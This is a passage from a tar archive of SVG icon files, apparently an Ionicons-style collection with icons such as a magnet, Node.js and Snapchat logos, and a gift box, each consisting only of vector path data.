0-11.9-12.2-31.7-53-69.8z"/></svg>collection/icon/svg/ios-magnet.svg000064400000001104151701353760013216 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M462.2 261.9L289.6 89.3C263 62.7 227.4 48 189.5 48c-38 0-73.5 14.7-100.2 41.3C62.7 116 48 151.5 48 189.5S62.7 263 89.3 289.6l172.6 172.6c1.1 1.1 2.7 1.8 4.3 1.8 1.6 0 3.1-.6 4.3-1.8l57.5-57.5c2.4-2.4 2.4-6.2 0-8.5L165.2 233.3c-13-13-21.2-27.8-22.9-41.7-1.8-13.6 2.7-25.8 13.1-36.3 9.9-9.9 22.4-14.3 36-12.6 14.3 1.7 29.2 9.7 42 22.5L396.2 328c2.4 2.4 6.2 2.4 8.5 0l57.5-57.5c2.4-2.4 2.4-6.2 0-8.6zM275.8 380.2l20.2 20.2-29.8 29.8-20.3-20.2 29.9-29.8zM400.4 296l-20.2-20.2L410 246l20.2 20.2-29.8 29.8z"/></svg>collection/icon/svg/ios-crop.svg000064400000001015151701353760012707 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M142 64c-7.7 0-14 6.3-14 14v20c0 7.7 6.3 14 14 14s14-6.3 14-14V78c0-7.7-6.3-14-14-14zM156 342V190c0-7.7-6.3-14-14-14s-14 6.3-14 14v166c0 15.5 12.5 28 28 28h166c7.7 0 14-6.3 14-14s-6.3-14-14-14H170c-7.7 0-14-6.3-14-14zM434 356h-20c-7.7 0-14 6.3-14 14s6.3 14 14 14h20c7.7 0 14-6.3 14-14s-6.3-14-14-14z"/><path d="M64 142c0 7.7 6.3 14 14 14h264c7.7 0 14 6.3 14 14v264c0 7.7 6.3 14 14 14s14-6.3 14-14V156c0-15.5-12.5-28-28-28H78c-7.7 0-14 6.3-14 14z"/></svg>collection/icon/svg/logo-nodejs.svg000064400000003205151701353760013377 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M255.917 480a32.536 32.536 0 0 1-16.633-4.599l-52.985-32.44c-7.914-4.562-4.023-6.203-1.443-7.141 10.565-3.781 13.713-5.657 24.947-12.285 1.206-.667 2.747-.424 3.955.322l39.71 23.504c1.476.85 3.557.85 4.931 0l155.188-92.246c1.475-.877 2.415-2.646 2.415-4.441V163.869c0-1.85-.94-3.592-2.449-4.528l-155.12-94.672c-1.478-.894-3.421-.894-4.898 0L98.516 159.374c-1.544.903-2.516 2.698-2.516 4.495v186.805c0 1.813.972 3.513 2.481 4.389l39.929 23.972c23.61 12.204 37.59-.17 37.59-14.611V180.725c0-2.652 2.047-4.727 4.596-4.727h22.809c2.515 0 4.597 2.072 4.597 4.727v183.698c0 32.563-19.353 51.248-49.199 51.248-9.156 0-16.397 0-36.552-10.279l-41.584-24.781C70.371 374.459 64 362.965 64 350.656V161.191c0-12.316 6.371-23.784 16.665-29.917L239.35 36.41c10.027-5.88 23.374-5.88 33.332 0l158.65 94.864C441.63 137.423 448 148.899 448 161.191v189.465c0 12.309-6.37 23.75-16.668 29.953l-158.65 94.774a32.52 32.52 0 0 1-16.698 4.599l-.067.018z"/><path d="M304.943 351.998c-64.61 0-84.006-31.61-84.006-59.271 0-2.629 2.048-4.729 4.562-4.729h20.521c2.282 0 4.227 1.7 4.562 4.016 3.084 21.602 16.748 31.15 54.324 31.15 33.399 0 47.091-10.346 47.091-28.684 0-10.592-3.463-18.424-55.407-23.697-43.427-4.441-70.288-14.373-70.288-50.295 0-33.135 26.996-52.49 72.234-52.49 46.128 0 76.462 14 79.173 50.829.102 1.337-.368 2.629-1.241 3.644-.871.965-2.078 1.527-3.353 1.527h-20.591c-2.146 0-4.024-1.562-4.459-3.713-4.401-16.953-16.97-23.402-49.563-23.402-36.486 0-40.746 12.753-40.746 22.607 0 11.963 5.031 15.441 54.294 22.172 48.761 6.663 71.933 16.117 71.933 51.552 0 35.781-28.808 58.783-79.075 58.783l.035.001z"/></svg>collection/icon/svg/ios-arrow-down.svg000064400000000370151701353760014046 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 294.1L383 167c9.4-9.4 24.6-9.4 33.9 0s9.3 24.6 0 34L273 345c-9.1 9.1-23.7 9.3-33.1.7L95 201.1c-4.7-4.7-7-10.9-7-17s2.3-12.3 7-17c9.4-9.4 24.6-9.4 33.9 0l127.1 127z"/></svg>collection/icon/svg/md-nutrition.svg000064400000000574151701353760013616 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M357.2 235.6L274.7 153h-.8c-8.1-6-18.2-10.3-28.4-10.3-13.7 0-26.1 6.3-34.3 16.3h-.6L53 414.1v.8c-3 6.2-5 13.3-5 20.8 0 24.4 19.7 44.3 44.3 44.3 9.4 0 18-2.9 27.4-9.1l232.9-168.1c10.9-8.3 17.4-21.6 17.4-36 0-12-4.7-23.2-12.8-31.2zM464 145.1l-29.2-49-36.6 20.3 31.5-55.9L380.6 32l-67.3 127.8 41.3 41.4z"/></svg>collection/icon/svg/ios-bulb.svg000064400000001471151701353760012676 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M404 188.9C404 111 333.9 48 256 48s-148 63.1-148 140.9c0 31 13.2 56.1 30.2 80.1h-.3c10.9 15 21.4 17.7 31.5 35 14.7 25.2 18.1 40.7 18.7 55.7.4 8.6 7.5 15.3 16 15.3h8.9c2.2 0 4-1.8 4-4v-94.5c0-5-1.2-9.8-3.4-14.3l-21-42c-3.5-7 1.6-15.2 9.4-15.2 4 0 7.7 2.3 9.4 5.9l25.3 51.4c2.2 4.4 3.3 9.2 3.3 14.1V371c0 2.2 1.8 4 4 4h24c2.2 0 4-1.8 4-4v-94.6c0-4.9 1.1-9.7 3.3-14.1l25.4-51.6c1.7-3.4 5.2-5.6 9-5.6 7.5 0 12.4 7.9 9 14.6l-21.3 42.6c-2.2 4.5-3.4 9.4-3.4 14.3V371c0 2.2 1.8 4 4 4h10c8.5 0 15.5-6.6 16-15 .9-15.4 4.7-32.3 18.4-56 10.1-17.3 20.6-20 31.5-35h-.1c17-24 30.2-49.1 30.2-80.1zM238 464h36c7.7 0 14-6.3 14-14s-6.3-14-14-14h-36c-7.7 0-14 6.3-14 14s6.3 14 14 14zM218 420h76c7.7 0 14-6.3 14-14s-6.3-14-14-14h-76c-7.7 0-14 6.3-14 14s6.3 14 14 14z"/></svg>collection/icon/svg/md-fitness.svg000064400000000561151701353760013232 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M434.3 315.5l29.7-29.7-29.7-29.8-74.3 74.3L181.7 152 256 77.7 226.3 48l-29.7 29.7L166.8 48l-44.5 44.5-29.8-29.7-29.7 29.7 29.7 29.7L48 166.8l29.7 29.7L48 226.3 77.7 256l74.3-74.3L330.3 360 256 434.3l29.7 29.7 29.7-29.7 29.7 29.7 44.5-44.5 29.7 29.7 29.7-29.7-29.7-29.7 44.5-44.5-29.5-29.8z"/></svg>collection/icon/svg/ios-pin.svg000064400000000424151701353760012535 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48c-79.5 0-144 59.9-144 133.7 0 104 144 282.3 144 282.3s144-178.3 144-282.3C400 107.9 335.5 48 256 48zm0 190.9c-25.9 0-46.9-21-46.9-46.9s21-46.9 46.9-46.9 46.9 21 46.9 46.9-21 46.9-46.9 46.9z"/></svg>collection/icon/svg/md-images.svg000064400000001341151701353760013021 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M457.6 140.2l-82.5-4-4.8-53.8c-1-11.3-11.1-19.2-22.9-18.3L51.5 88.4c-11.8 1-20.3 10.5-19.4 21.7l21.2 235.8c1 11.3 11.2 19.2 22.9 18.3l15-1.2-2.4 45.8c-.6 12.6 9.2 22.8 22.4 23.5L441.3 448c13.2.6 24.1-8.6 24.8-21.2L480 163.5c.6-12.5-9.3-22.7-22.4-23.3zm-354.9 5.3l-7.1 134.8L78.1 305 62 127v-.5-.5c1-5 4.4-9 9.6-9.4l261-21.4c5.2-.4 9.7 3 10.5 7.9 0 .2.3.2.3.4 0 .1.3.2.3.4l2.7 30.8-219-10.5c-13.2-.4-24.1 8.8-24.7 21.3zm334 236.9l-84.8-99.5-37.4 34.3-69.2-80.8-122.7 130.7L133 168v-.4c1-5.4 6.2-9.3 11.9-9l291.2 14c5.8.3 10.3 4.7 10.4 10.2 0 .2.3.3.3.5l-10.1 199.1z"/><path d="M384 256c17.6 0 32-14.4 32-32s-14.3-32-32-32c-17.6 0-32 14.3-32 32s14.3 32 32 32z"/></svg>collection/icon/svg/logo-linkedin.svg000064400000001013151701353760013705 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M417.2 64H96.8C79.3 64 64 76.6 64 93.9V415c0 17.4 15.3 32.9 32.8 32.9h320.3c17.6 0 30.8-15.6 30.8-32.9V93.9C448 76.6 434.7 64 417.2 64zM183 384h-55V213h55v171zm-25.6-197h-.4c-17.6 0-29-13.1-29-29.5 0-16.7 11.7-29.5 29.7-29.5s29 12.7 29.4 29.5c0 16.4-11.4 29.5-29.7 29.5zM384 384h-55v-93.5c0-22.4-8-37.7-27.9-37.7-15.2 0-24.2 10.3-28.2 20.3-1.5 3.6-1.9 8.5-1.9 13.5V384h-55V213h55v23.8c8-11.4 20.5-27.8 49.6-27.8 36.1 0 63.4 23.8 63.4 75.1V384z"/></svg>collection/icon/svg/md-color-filter.svg000064400000000466151701353760014164 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M441.8 120.1l-49.9-49.9c-8.3-8.3-21.8-8.3-30.1 0l-66.6 66.6L254.1 96 224 126.1l30.3 30.3L64 346.7V448h101.3l190.3-190.3 30.3 30.3 30.1-30.1-41-41 66.6-66.6c8.5-8.4 8.5-21.8.2-30.2zM147.6 405.4l-41-41 171.9-171.9 41 41-171.9 171.9z"/></svg>collection/icon/svg/md-arrow-dropdown-circle.svg000064400000000306151701353760015777 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.125 48 48 141.125 48 256s93.125 208 208 208 208-93.125 208-208S370.875 48 256 48zm0 272l-96-96h192l-96 96z"/></svg>collection/icon/svg/md-switch.svg000064400000001245151701353760013060 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M168 216h94.9c14.5 14.8 34.7 24 57.1 24 44.2 0 80-35.8 80-80s-35.8-80-80-80c-22.4 0-42.6 9.2-57.1 24H168c-30.8 0-56 25.2-56 56s25.2 56 56 56zm-16.9-72.9c4.6-4.6 10.6-7.1 16.9-7.1h75.7c-2.4 7.6-3.7 15.6-3.7 24s1.3 16.4 3.7 24H168c-6.3 0-12.4-2.5-16.9-7.1-4.6-4.6-7.1-10.6-7.1-16.9s2.5-12.4 7.1-16.9zM344 296h-94.9c-14.5-14.8-34.7-24-57.1-24-44.2 0-80 35.8-80 80s35.8 80 80 80c22.4 0 42.6-9.2 57.1-24H344c30.8 0 56-25.2 56-56s-25.2-56-56-56zm16.9 72.9c-4.6 4.6-10.6 7.1-16.9 7.1h-75.7c2.4-7.6 3.7-15.6 3.7-24s-1.3-16.4-3.7-24H344c6.3 0 12.4 2.5 16.9 7.1 4.6 4.6 7.1 10.6 7.1 16.9s-2.5 12.4-7.1 16.9z"/></svg>collection/icon/svg/md-volume-low.svg000064400000000334151701353760013663 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 192v128h85.334L256 431.543V80.458L149.334 192H64zm288 64c0-38.399-21.333-72.407-53.333-88.863v176.636C330.667 328.408 352 294.4 352 256z"/></svg>collection/icon/svg/ios-outlet.svg000064400000001215151701353760013262 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M359 78H153c-2.8 0-5.6.8-8 2.3C86.7 116.9 48 182 48 256c0 73.9 38.7 138.1 97 175.6 2.4 1.6 5.2 2.4 8.1 2.4h205.8c2.9 0 5.7-.8 8.1-2.4 58.3-37.5 97-101.7 97-175.6 0-74-38.7-139.1-97-175.7-2.4-1.5-5.2-2.3-8-2.3zM192.9 270.8h-22.3c-2.1 0-3.7-1.7-3.7-3.7V155.9c0-2 1.7-3.7 3.7-3.7h22.3c2.1 0 3.7 1.7 3.7 3.7v111.2c0 2.1-1.7 3.7-3.7 3.7zM282 389.5h-52c-2.1 0-3.7-1.7-3.7-3.7v-40.2c0-16.5 13.6-30.5 30.1-30.3 16.2.2 29.3 13.5 29.3 29.7v40.8c0 2-1.6 3.7-3.7 3.7zM341.4 256h-22.3c-2.1 0-3.7-1.7-3.7-3.7v-81.6c0-2 1.7-3.7 3.7-3.7h22.3c2.1 0 3.7 1.7 3.7 3.7v81.6c0 2-1.6 3.7-3.7 3.7z"/></svg>collection/icon/svg/md-trending-up.svg000064400000000277151701353760014017 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M345.6 128l51.3 51.3-109.3 109.4-89.6-89.6L32 365.4 63.6 397 198 262.5l89.6 89.7 141.1-141 51.3 51.3V128H345.6z"/></svg>collection/icon/svg/md-cloud-done.svg000064400000000610151701353760013603 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M403.002 217.001C388.998 148.002 328.998 96 256 96c-57.998 0-107.998 32.998-132.998 81.001C63.002 183.002 16 233.998 16 296c0 65.996 53.999 120 120 120h260c55 0 100-45 100-100 0-52.998-40.996-96.001-92.998-98.999zM213.333 362.667L138.667 288l29.864-29.864 44.802 44.802L324.271 192l29.865 29.864-140.803 140.803z"/></svg>collection/icon/svg/md-arrow-dropright-circle.svg000064400000000306151701353760016145 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 464c114.875 0 208-93.125 208-208S370.875 48 256 48 48 141.125 48 256s93.125 208 208 208zm-32-112V160l96 96-96 96z"/></svg>collection/icon/svg/ios-tv.svg000064400000001052151701353760012376 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M451.7 78H60.3C34.8 78 14 98.8 14 124.3v215.5c0 25.5 20.8 46.3 46.3 46.3h391.5c25.5 0 46.3-20.8 46.3-46.3V124.3C498 98.8 477.2 78 451.7 78zM470 339.7c0 10.1-8.2 18.3-18.3 18.3H60.3c-10.1 0-18.3-8.2-18.3-18.3V124.3c0-10.1 8.2-18.3 18.3-18.3h391.5c10.1 0 18.3 8.2 18.3 18.3v215.4z"/><path d="M436 128H76c-6.6 0-12 5.4-12 12v184c0 6.6 5.4 12 12 12h360c6.6 0 12-5.4 12-12V140c0-6.6-5.4-12-12-12zM370 406H142c-7.7 0-14 6.3-14 14s6.3 14 14 14h228c7.7 0 14-6.3 14-14s-6.3-14-14-14z"/></svg>collection/icon/svg/md-skip-forward.svg000064400000000176151701353760014171 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 64v384l277.3-192L64 64zM384 64h64v384h-64z"/></svg>collection/icon/svg/md-battery-full.svg000064400000000351151701353760014166 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M338.2 76.8h-37.4V32h-89.6v44.8h-37.4c-16.4 0-29.8 13.4-29.8 29.8V450c0 16.6 13.4 30 29.8 30H338c16.6 0 30-13.4 30-29.8V106.6c0-16.4-13.4-29.8-29.8-29.8z"/></svg>collection/icon/svg/md-paper-plane.svg000064400000000327151701353760013763 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M48 270.9l118.9 44.6L181.7 464 256 360l104 104L464 48 48 270.9zm294.9 126L260 313.4 374.9 152 193.6 289.8 124.9 265l291-156.2-73 288.1z"/></svg>collection/icon/svg/md-help-circle-outline.svg000064400000001053151701353760015420 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 90c44.3 0 86 17.3 117.4 48.6C404.7 170 422 211.7 422 256s-17.3 86-48.6 117.4C342 404.7 300.3 422 256 422s-86-17.3-117.4-48.6C107.3 342 90 300.3 90 256s17.3-86 48.6-117.4C170 107.3 211.7 90 256 90m0-42C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/><path d="M235 339h42v42h-42zM276.8 318h-41.6c0-67 62.4-62.2 62.4-103.8 0-22.9-18.7-41.7-41.6-41.7S214.4 192 214.4 214h-41.6c0-46 37.2-83 83.2-83s83.2 37.1 83.2 83.1c0 52-62.4 57.9-62.4 103.9z"/></svg>collection/icon/svg/ios-square.svg000064400000000276151701353760013254 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M388 416H124c-15.4 0-28-12.6-28-28V124c0-15.4 12.6-28 28-28h264c15.4 0 28 12.6 28 28v264c0 15.4-12.6 28-28 28z"/></svg>collection/icon/svg/ios-text.svg000064400000000477151701353760012743 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 64C141.1 64 48 139.2 48 232c0 64.9 45.6 121.2 112.3 149.2-5.2 25.8-21 47-33.5 60.5-2.3 2.5.2 6.5 3.6 6.3 11.5-.8 32.9-4.4 51-12.7 21.5-9.9 40.3-30.1 46.3-36.9 9.3 1 18.8 1.6 28.5 1.6 114.9 0 208-75.2 208-168C464 139.2 370.9 64 256 64z"/></svg>collection/icon/svg/ios-ribbon.svg000064400000001422151701353760013221 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M254.9 293.4c73 .6 132.3-58.7 131.7-131.8-.6-69.9-59.7-129-129.5-129.6-73-.6-132.3 58.7-131.7 131.8.6 69.9 59.7 129 129.5 129.6zm-3.7-204.1c44.3-2.8 80.9 33.8 78.1 78.2-2.3 36.6-31.9 66.2-68.5 68.6-44.3 2.8-80.9-33.8-78.1-78.2 2.3-36.6 31.9-66.2 68.5-68.6z"/><path d="M256 308.4c-42.8 0-81.4-18.1-108.5-47-1.9-2-5.2-1.7-6.6.7L65.1 394.8c-3.1 5.5.8 12.3 7.2 12.3h80.1c2.9 0 5.6 1.5 7.1 4l39 64.9c3.4 5.7 11.8 5.2 14.6-.8l43-94.6 31.3-68.9c1.4-3-1.2-6.3-4.5-5.7-8.8 1.5-17.7 2.4-26.9 2.4zM364.5 261.3c-14.6 15.5-32.4 28-52.5 36.1-1 .4-1.8 1.1-2.2 2.1l-44.7 97.7c-.5 1.1-.5 2.3 0 3.4l33.9 74.5c2.7 6 11.2 6.5 14.6.8l39-64.9c1.5-2.5 4.2-4 7.1-4h80.1c6.3 0 10.3-6.8 7.2-12.3l-75.8-132.8c-1.5-2.2-4.8-2.6-6.7-.6z"/></svg>collection/icon/svg/md-cash.svg000064400000000544151701353760012476 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 96v256h448V96H32zm160.5 224h-80.4c0-26.6-21.5-48.1-48.1-48.1V192c35.3 0 64-28.7 64-64h64.5c-19.9 23.5-32.5 57.8-32.5 96s12.6 72.5 32.5 96zM448 271.9c-26 0-48 21.5-48 48.1h-80.5c19.9-23.5 32.5-57.8 32.5-96s-12.6-72.5-32.5-96H384c0 35.3 28.7 64 64 64v79.9zM32 384h448v32H32z"/></svg>collection/icon/svg/md-more.svg000064400000000505151701353760012517 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M296 136c0-22.002-17.998-40-40-40s-40 17.998-40 40 17.998 40 40 40 40-17.998 40-40zm0 240c0-22.002-17.998-40-40-40s-40 17.998-40 40 17.998 40 40 40 40-17.998 40-40zm0-120c0-22.002-17.998-40-40-40s-40 17.998-40 40 17.998 40 40 40 40-17.998 40-40z"/></svg>collection/icon/svg/logo-snapchat.svg000064400000004336151701353760013724 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M495.998 360.389l-.189-14.501-14.398-1.278c-15.413-1.396-43.8-7.219-54.301-16.9-16.281-15.011-35.688-36.199-35.688-51.893 0-1.014 0-2.546 4.15-5.186 4.985-3.174 12.589-5.584 19.297-7.71 5.217-1.654 10.144-3.217 14.394-5.236 9.236-4.39 18.498-15.978 17.471-28.807-1.215-15.166-14.424-27.046-30.072-27.046-4.021 0-8.068.76-12.027 2.259-8.027 3.041-13.743 4.41-17.705 4.962.747-9.319 1.791-20.12 3.211-30.67 5.111-37.948-5.281-73.509-29.264-101.042C335.498 48.208 297.376 32 256.283 32H256c-41.093 0-79.215 16.208-104.591 45.341-23.982 27.534-34.375 63.345-29.265 101.292 1.416 10.51 2.46 21.231 3.21 30.618-3.97-.559-9.686-1.998-17.703-5.034-3.965-1.502-8.017-2.295-12.043-2.295-15.641-.001-28.844 11.852-30.057 27.003-1.027 12.818 8.235 24.393 17.47 28.783 4.251 2.02 9.181 3.578 14.4 5.232 6.707 2.125 14.309 4.532 19.293 7.703 4.147 2.639 4.147 4.168 4.147 5.182 0 8.66-6.191 24.691-35.688 51.888-10.499 9.681-39.055 15.501-54.588 16.897l-14.572 1.311L16 360.603c0 1.679.312 10.546 6.485 20.319 5.246 8.306 16.073 19.283 37.863 24.407a1139.713 1139.713 0 0 0 15.208 3.454c2.306.512 4.555 1.01 6.454 1.453l.081.623c.9 7.004 1.611 12.535 4.392 17.75 2.453 4.6 8.574 12.316 22.015 12.316 2.478 0 5.249-.246 8.472-.751 1.672-.263 3.386-.554 5.2-.863 7.116-1.212 15.182-2.587 23.451-2.587 10.277 0 18.732 2.188 25.846 6.688 4.531 2.867 8.892 5.972 13.509 9.26C202.967 465.481 223.358 480 256 480c32.726 0 53.293-14.582 71.439-27.446 4.576-3.244 8.898-6.309 13.377-9.142 7.113-4.5 15.568-6.688 25.846-6.688 8.27 0 16.334 1.375 23.449 2.586 1.814.311 3.529.602 5.202.864 3.223.505 5.993.751 8.472.751 13.44 0 19.562-7.715 22.015-12.313 2.781-5.214 3.492-10.746 4.392-17.749l.082-.629c1.898-.441 4.148-.941 6.455-1.452 4.023-.892 9.029-2.001 15.206-3.454 21.851-5.139 32.611-16.17 37.79-24.518 6.097-9.828 6.296-18.736 6.273-20.421zM208 128c8.836 0 16 10.745 16 24s-7.164 24-16 24-16-10.745-16-24 7.164-24 16-24zm103.615 77.698C296.368 220.725 276.617 229 256 229c-20.838 0-40.604-8.29-55.657-23.343a8 8 0 1 1 11.313-11.313C223.688 206.374 239.436 213 256 213c16.387 0 32.15-6.64 44.385-18.698a8 8 0 0 1 11.23 11.396zM304 176c-8.836 0-16-10.746-16-24s7.164-24 16-24 16 10.746 16 24-7.164 24-16 24z"/></svg>collection/icon/svg/md-gift.svg000064400000001235151701353760012507 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M424 134.5h-45.8c2.3-6.6 3.8-13.9 3.8-21.3 0-35.4-28.1-63.2-63-63.2-22.1 0-41.2 10.7-52.5 28L256 92.3l-10.5-14.5C234.2 60.7 215.1 48 193 48c-34.9 0-63 29.8-63 65.2 0 7.5 1.5 14.7 3.8 21.3H88c-23.3 0-41.8 19-41.8 42.7L46 421.8c0 23.7 17.4 42.2 40.7 42.2h336.7c23.3 0 42.7-18.5 42.7-42.2V177.2c-.1-23.7-18.8-42.7-42.1-42.7zM320 91c11.6 0 21 9.5 21 21 0 11.6-9.4 21-21 21s-21-9.5-21-21 9.4-21 21-21zm-128 0c11.6 0 21 9.5 21 21 0 11.6-9.4 21-21 21s-21-9.5-21-21 9.4-21 21-21zM88 177.2h106.7L151 237.5l34 25 50-69.1.2-.2-.2 228.6H88V177.2zm336 244.6H277V193.4l50 69.1 34-25-43.7-60.4H424v244.7z"/></svg>collection/icon/svg/ios-aperture.svg000064400000002011151701353760013570 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M250.2 371.4c-1.8 0-2.7 2.2-1.4 3.4l54.9 54.9L326 452c42.4-15.2 78.5-43.7 103.1-80.6H250.2zM167 334.6V444c27 12.8 57.1 20 89 20 14.1 0 27.9-1.4 41.2-4.1L170.4 333.2c-1.2-1.3-3.4-.4-3.4 1.4zM256 48c-13.9 0-27.4 1.4-40.5 4l126.8 126.8c1.3 1.3 3.4.4 3.4-1.4V68.3C318.6 55.3 288.2 48 256 48zM68.1 166.6C55.2 193.7 48 224 48 256c0 14.1 1.4 27.9 4.1 41.2L179.2 170c1.3-1.3.4-3.4-1.4-3.4H68.1zM186.7 59.9C144 75 107.7 103.6 83 140.7h179.7c1.8 0 2.7-2.2 1.4-3.4l-77.4-77.4zM167 220.6v70.7c0 1.1.4 2.1 1.2 2.8l50 50c.8.8 1.8 1.2 2.8 1.2h70.7c1.1 0 2.1-.4 2.8-1.2l50-50c.8-.8 1.2-1.8 1.2-2.8v-70.7c0-1.1-.4-2.1-1.2-2.8l-50-50c-.8-.8-1.8-1.2-2.8-1.2H221c-1.1 0-2.1.4-2.8 1.2l-50 50c-.7.8-1.2 1.8-1.2 2.8zM460 215.5L333.6 342c-1.3 1.3-.4 3.4 1.4 3.4h108.8c13-27.1 20.2-57.4 20.2-89.4 0-13.9-1.4-27.4-4-40.5zM371.8 83.2v179c0 1.8 2.2 2.7 3.4 1.4l76.9-76.9c-15-42.6-43.5-78.8-80.3-103.5zM60.1 325.9c15.2 42.6 43.9 78.8 81 103.4V249.8c0-1.8-2.2-2.7-3.4-1.4l-77.6 77.5z"/></svg>collection/icon/svg/ios-paper.svg000064400000001114151701353760013053 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M124 80v322c0 7.7-6.3 14-14 14s-14-6.3-14-14V112H80c-17.7 0-32 14.3-32 32v288c0 17.7 14.3 32 32 32h353.1c17 0 30.9-13.8 30.9-30.9V80c0-17.7-14.3-32-32-32l-278 2c-17.7 0-30 12.3-30 30zm66 32h84c7.7 0 14 6.3 14 14s-6.3 14-14 14h-84c-7.7 0-14-6.3-14-14s6.3-14 14-14zm0 160h148c7.7 0 14 6.3 14 14s-6.3 14-14 14H190c-7.7 0-14-6.3-14-14s6.3-14 14-14zm196 108H190c-7.7 0-14-6.3-14-14s6.3-14 14-14h196c7.7 0 14 6.3 14 14s-6.3 14-14 14zm0-160H190c-7.7 0-14-6.3-14-14s6.3-14 14-14h196c7.7 0 14 6.3 14 14s-6.3 14-14 14z"/></svg>collection/icon/svg/ios-arrow-dropright-circle.svg000064400000000533151701353760016341 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M48 256c0 114.9 93.1 208 208 208s208-93.1 208-208S370.9 48 256 48 48 141.1 48 256zm244.5 0l-81.9-81.1c-7.5-7.5-7.5-19.8 0-27.3s19.8-7.5 27.3 0l95.4 95.7c7.3 7.3 7.5 19.1.6 26.6l-94 94.3c-3.8 3.8-8.7 5.7-13.7 5.7-4.9 0-9.9-1.9-13.6-5.6-7.5-7.5-7.6-19.7 0-27.3l79.9-81z"/></svg>collection/icon/svg/ios-fastforward.svg000064400000000414151701353760014270 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M476.1 249.3L268 129.1c-5.4-3.1-12.3.6-12.3 6.7V251L44.3 129.1c-5.4-3.1-12.3.6-12.3 6.7v240.3c0 6.1 6.9 9.8 12.3 6.7L255.6 261v115.2c0 6.1 6.9 9.8 12.3 6.7L476 262.7c5.3-3 5.3-10.4.1-13.4z"/></svg>collection/icon/svg/md-checkbox.svg000064400000000536151701353760013347 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.333 64H106.667C83.198 64 64 83.198 64 106.667v298.666C64 428.802 83.198 448 106.667 448h298.666C428.802 448 448 428.802 448 405.333V106.667C448 83.198 428.802 64 405.333 64zm-192 298.667L106.667 256l29.864-29.864 76.802 76.802 162.136-162.136 29.864 29.865-192 192z"/></svg>collection/icon/svg/logo-dropbox.svg000064400000000466151701353760013600 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M177 77L64 150.9l78.1 62.7L256 143.1zM64 276.3l113 73.9 79-66.1-113.9-70.5zM256 284.1l79 66.1 113-73.9-78.1-62.7zM448 150.9L335 77l-79 66.1 113.9 70.5z"/><path d="M256.2 298.3l-79.8 66-34.4-22.2V367l114 68 114-68v-24.9l-34.2 22.2z"/></svg>collection/icon/svg/logo-xbox.svg000064400000001347151701353760013102 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M126.8 248.3c39.7-58.6 77.9-92.8 77.9-92.8s-42.1-48.9-92.8-67.4l-3.3-.8C61.7 128.4 32 188.7 32 256c0 50.7 16.9 97.5 45.2 135 0-4.4.6-70.3 49.6-142.7zM480 256c0-67.3-29.7-127.6-76.6-168.7l-3.2.9c-50.7 18.5-92.9 67.4-92.9 67.4s38.2 34.2 77.9 92.8c49 72.4 49.6 138.3 49.5 142.7C463.2 353.5 480 306.7 480 256zM201.2 80.9c29.3 13.1 54.6 34.6 54.6 34.6s25.5-21.4 54.8-34.6c36.8-16.5 64.9-11.3 72.3-9.5C346.8 46.6 303.1 32 256 32s-90.8 14.6-126.9 39.4c7.2-1.8 35.2-7.1 72.1 9.5zM358.7 292.9C312.4 236 255.8 199 255.8 199s-56.3 37-102.7 93.9c-39.8 48.9-54.6 84.8-62.6 107.8l-1.3 4.8c41 45.7 100.5 74.5 166.8 74.5s125.8-28.8 